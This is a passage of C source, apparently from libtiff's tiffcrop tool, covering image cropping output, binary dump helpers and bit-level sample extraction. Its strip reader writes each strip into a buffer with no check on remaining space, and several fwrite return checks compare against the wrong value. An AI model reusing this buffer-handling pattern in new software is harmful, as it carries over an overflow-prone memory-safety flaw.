&dump, seg_buffs, mp, argv[argc - 1], &next_page, total_pages); } else /* One file all images and sections */ { if (update_output_file (&out, mp, crop.exp_mode, argv[argc - 1], &next_page)) exit (1); if (writeCroppedImage(in, out, &image, &dump,crop.combined_width, crop.combined_length, crop_buff, next_page, total_pages)) { TIFFError("main", "Unable to write new image"); exit (-1); } } } else { /* If we used a crop buffer, our data is there, otherwise it is * in the read_buffer */ if (crop_buff != NULL) sect_src = crop_buff; else sect_src = read_buff; /* Break input image into pages or rows and columns */ if (computeOutputPixelOffsets(&crop, &image, &page, sections, &dump)) { TIFFError("main", "Unable to compute output section data"); exit (-1); } /* If there are multiple files on the command line, the final one is assumed * to be the output filename into which the images are written. */ if (update_output_file (&out, mp, crop.exp_mode, argv[argc - 1], &next_page)) exit (1); if (writeImageSections(in, out, &image, &page, sections, &dump, sect_src, &sect_buff)) { TIFFError("main", "Unable to write image sections"); exit (-1); } } /* No image list specified, just read the next image */ if (image_count == 0) dirnum++; else { dirnum = (tdir_t)(imagelist[next_image] - 1); next_image++; } if (dirnum == MAX_IMAGES - 1) dirnum = TIFFNumberOfDirectories(in) - 1; if (!TIFFSetDirectory(in, (tdir_t)dirnum)) end_of_input = TRUE; } TIFFClose(in); optind++; } /* If we did not use the read buffer as the crop buffer */ if (read_buff) _TIFFfree(read_buff); if (crop_buff) _TIFFfree(crop_buff); if (sect_buff) _TIFFfree(sect_buff); /* Clean up any segment buffers used for zones or regions */ for (seg = 0; seg < crop.selections; seg++) _TIFFfree (seg_buffs[seg].buffer); if (dump.format != DUMP_NONE) { if (dump.infile != NULL) fclose (dump.infile); if (dump.outfile != NULL) { dump_info (dump.outfile, dump.format, "", "Completed run for %s", TIFFFileName(out)); fclose (dump.outfile); } } TIFFClose(out); return (0); } /* end main */ /* Debugging functions */ static int dump_data (FILE *dumpfile, int format, char *dump_tag, unsigned char *data, uint32 count) { int j, k; uint32 i; char dump_array[10]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (i = 0; i < count; i++) { for (j = 0, k = 7; j < 8; j++, k--) { bitset = (*(data + i)) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); } dump_array[8] = '\0'; fprintf (dumpfile," %s", dump_array); } fprintf (dumpfile,"\n"); } else { if ((fwrite (data, 1, count, dumpfile)) != count) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_byte (FILE *dumpfile, int format, char *dump_tag, unsigned char data) { int j, k; char dump_array[10]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 7; j < 8; j++, k--) { bitset = data & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); } dump_array[8] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 1, 1, dumpfile)) != 1) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_short (FILE *dumpfile, int format, char *dump_tag, uint16 data) { int j, k; char dump_array[20]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 15; k >= 0; j++, k--) { bitset = data & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[17] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 2, 1, dumpfile)) != 2) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_long (FILE *dumpfile, int format, char *dump_tag, uint32 data) { int j, k; char dump_array[40]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 31; k >= 0; j++, k--) { bitset = data & (((uint32)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[35] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 4, 1, dumpfile)) != 4) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static int dump_wide (FILE *dumpfile, int format, char *dump_tag, uint64 data) { int j, k; char dump_array[80]; unsigned char bitset; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } if (format == DUMP_TEXT) { fprintf (dumpfile," %s ", dump_tag); for (j = 0, k = 63; k >= 0; j++, k--) { bitset = data & (((uint64)1 << k)) ? 1 : 0; sprintf(&dump_array[j], (bitset) ? "1" : "0"); if ((k % 8) == 0) sprintf(&dump_array[++j], " "); } dump_array[71] = '\0'; fprintf (dumpfile," %s\n", dump_array); } else { if ((fwrite (&data, 8, 1, dumpfile)) != 8) { TIFFError ("", "Unable to write binary data to dump file"); return (1); } } return (0); } static void dump_info(FILE *dumpfile, int format, char *prefix, char *msg, ...) { if (format == DUMP_TEXT) { va_list ap; va_start(ap, msg); fprintf(dumpfile, "%s ", prefix); vfprintf(dumpfile, msg, ap); fprintf(dumpfile, "\n"); va_end(ap); } } static int dump_buffer (FILE* dumpfile, int format, uint32 rows, uint32 width, uint32 row, unsigned char *buff) { int j, k; uint32 i; unsigned char * dump_ptr; if (dumpfile == NULL) { TIFFError ("", "Invalid FILE pointer for dump file"); return (1); } for (i = 0; i < rows; i++) { dump_ptr = buff + (i * width); if (format == DUMP_TEXT) dump_info (dumpfile, format, "", "Row %4d, %d bytes at offset %d", row + i + 1, width, row * width); for (j = 0, k = width; k >= 10; j += 10, k -= 10, dump_ptr += 10) dump_data (dumpfile, format, "", dump_ptr, 10); if (k > 0) dump_data (dumpfile, format, "", dump_ptr, k); } return (0); } /* Extract one or more samples from an interleaved buffer. If count == 1, * only the sample plane indicated by sample will be extracted. If count > 1, * count samples beginning at sample will be extracted. Portions of a * scanline can be extracted by specifying a start and end value. */ static int extractContigSamplesBytes (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int i, bytes_per_sample, sindex; uint32 col, dst_rowsize, bit_offset; uint32 src_byte /*, src_bit */; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesBytes","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesBytes", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesBytes", "Invalid end column value %d ignored", end); end = cols; } dst_rowsize = (bps * (end - start) * count) / 8; bytes_per_sample = (bps + 7) / 8; /* Optimize case for copying all samples */ if (count == spp) { src = in + (start * spp * bytes_per_sample); _TIFFmemcpy (dst, src, dst_rowsize); } else { for (col = start; col < end; col++) { for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { bit_offset = col * bps * spp; if (sindex == 0) { src_byte = bit_offset / 8; /* src_bit = bit_offset % 8; */ } else { src_byte = (bit_offset + (sindex * bps)) / 8; /* src_bit = (bit_offset + (sindex * bps)) % 8; */ } src = in + src_byte; for (i = 0; i < bytes_per_sample; i++) *dst++ = *src++; } } } return (0); } /* end extractContigSamplesBytes */ static int extractContigSamples8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = (buff2 | (buff1 >> ready_bits)); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamples8bits */ static int extractContigSamples16bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples16bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples16bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples16bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint16)-1 >> (16 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 8) /* add another bps bits to the buffer */ { bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; } return (0); } /* end extractContigSamples16bits */ static int extractContigSamples24bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamples24bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples24bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples24bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint32)-1 >> ( 32 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 16) /* add another bps bits to the buffer */ { bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end extractContigSamples24bits */ static int extractContigSamples32bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0 /*, shift_width = 0 */; uint32 col, src_byte, src_bit, bit_offset; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamples32bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples32bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples32bits", "Invalid end column value %d ignored", end); end = cols; } /* shift_width = ((bps + 7) / 8) + 1; */ ready_bits = 0; maskbits = (uint64)-1 >> ( 64 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end extractContigSamples32bits */ static int extractContigSamplesShifted8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesShifted8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); if ((col == start) && (sindex == sample)) buff2 = *src & ((uint8)-1) << (shift); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ |= buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = buff2 | (buff1 >> ready_bits); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted8bits */ static int extractContigSamplesShifted16bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesShifted16bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted16bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted16bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint16)-1 >> (16 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; if ((col == start) && (sindex == sample)) buff2 = buff1 & ((uint16)-1) << (8 - shift); buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 8) /* add another bps bits to the buffer */ buff2 = buff2 | (buff1 >> ready_bits); else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted16bits */ static int extractContigSamplesShifted24bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamplesShifted24bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted24bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted24bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint32)-1 >> ( 32 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; if ((col == start) && (sindex == sample)) buff2 = buff1 & ((uint32)-1) << (16 - shift); buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 16) /* add another bps bits to the buffer */ { bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted24bits */ static int extractContigSamplesShifted32bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0 /*, shift_width = 0 */; uint32 col, src_byte, src_bit, bit_offset; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamplesShifted32bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted32bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted32bits", "Invalid end column value %d ignored", end); end = cols; } /* shift_width = ((bps + 7) / 8) + 1; */ ready_bits = shift; maskbits = (uint64)-1 >> ( 64 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; if ((col == start) && (sindex == sample)) buff2 = buff3 & ((uint64)-1) << (32 - shift); buff1 = (buff3 & matchbits) << (src_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted32bits */ static int extractContigSamplesToBuffer(uint8 *out, uint8 *in, uint32 rows, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, struct dump_opts *dump) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, src_offset, row, first_col = 0; uint32 dst_rowsize, dst_offset; tsample_t count = 1; uint8 *src, *dst; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } src_rowsize = ((bps * spp * cols) + 7) / 8; dst_rowsize = ((bps * cols) + 7) / 8; if ((dump->outfile != NULL) && (dump->level == 4)) { dump_info (dump->outfile, dump->format, "extractContigSamplesToBuffer", "Sample %d, %d rows", sample + 1, rows + 1); } for (row = 0; row < rows; row++) { src_offset = row * src_rowsize; dst_offset = row * dst_rowsize; src = in + src_offset; dst = out + dst_offset; /* pack the data into the scanline */ switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 1: if (bps == 1) { if (extractContigSamples8bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; } else if (extractContigSamples16bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 2: if (extractContigSamples24bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 3: case 4: case 5: if (extractContigSamples32bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; default: TIFFError ("extractContigSamplesToBuffer", "Unsupported bit depth: %d", bps); return (1); } if ((dump->outfile != NULL) && (dump->level == 4)) dump_buffer(dump->outfile, dump->format, 1, dst_rowsize, row, dst); } return (0); } /* end extractContigSamplesToBuffer */ static int extractContigSamplesToTileBuffer(uint8 *out, uint8 *in, uint32 rows, uint32 cols, uint32 imagewidth, uint32 tilewidth, tsample_t sample, uint16 count, uint16 spp, uint16 bps, struct dump_opts *dump) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, src_offset, row; uint32 dst_rowsize, dst_offset; uint8 *src, *dst; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } if ((dump->outfile != NULL) && (dump->level == 4)) { dump_info (dump->outfile, dump->format, "extractContigSamplesToTileBuffer", "Sample %d, %d rows", sample + 1, rows + 1); } src_rowsize = ((bps * spp * imagewidth) + 7) / 8; dst_rowsize = ((bps * tilewidth * count) + 7) / 8; for (row = 0; row < rows; row++) { src_offset = row * src_rowsize; dst_offset = row * dst_rowsize; src = in + src_offset; dst = out + dst_offset; /* pack the data into the scanline */ switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 1: if (bps == 1) { if (extractContigSamples8bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; } else if (extractContigSamples16bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 2: if (extractContigSamples24bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 3: case 4: case 5: if (extractContigSamples32bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; default: TIFFError ("extractContigSamplesToTileBuffer", "Unsupported bit depth: %d", bps); return (1); } if ((dump->outfile != NULL) && (dump->level == 4)) dump_buffer(dump->outfile, dump->format, 1, dst_rowsize, row, dst); } return (0); } /* end extractContigSamplesToTileBuffer */ static int readContigStripsIntoBuffer (TIFF* in, uint8* buf) { uint8* bufp = buf; int32 bytes_read = 0; uint16 strip, nstrips = TIFFNumberOfStrips(in); uint32 stripsize = TIFFStripSize(in); uint32 rows = 0; uint32 rps = TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps); tsize_t scanline_size = TIFFScanlineSize(in); if (scanline_size == 0) { TIFFError("", "TIFF scanline size is zero!"); return 0; } for (strip = 0; strip < nstrips; strip++) { bytes_read = TIFFReadEncodedStrip (in, strip, bufp, -1); rows = bytes_read / scanline_size; if ((strip < (nstrips - 1)) && (bytes_read != (int32)stripsize)) TIFFError("", "Strip %d: read %lu bytes, strip size %lu", (int)strip + 1, (unsigned long) bytes_read, (unsigned long)stripsize); if (bytes_read < 0 && !ignore) { TIFFError("", "Error reading strip %lu after %lu rows", (unsigned long) strip, (unsigned long)rows); return 0; } bufp += bytes_read; } return 1; } /* end readContigStripsIntoBuffer */ static int combineSeparateSamplesBytes (unsigned char *srcbuffs[], unsigned char *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int i, bytes_per_sample; uint32 row, col, col_offset, src_rowsize, dst_rowsize, row_offset; unsigned char *src; unsigned char *dst; tsample_t s; src = srcbuffs[0]; dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamplesBytes","Invalid buffer address"); return (1); } bytes_per_sample = (bps + 7) / 8; src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * spp * cols) + 7) / 8; for (row = 0; row < rows; row++) { if ((dumpfile != NULL) && (level == 2)) { for (s = 0; s < spp; s++) { dump_info (dumpfile, format, "combineSeparateSamplesBytes","Input data, Sample %d", s); dump_buffer(dumpfile, format, 1, cols, row, srcbuffs[s] + (row * src_rowsize)); } } dst = out + (row * dst_rowsize); row_offset = row * src_rowsize; for (col = 0; col < cols; col++) { col_offset = 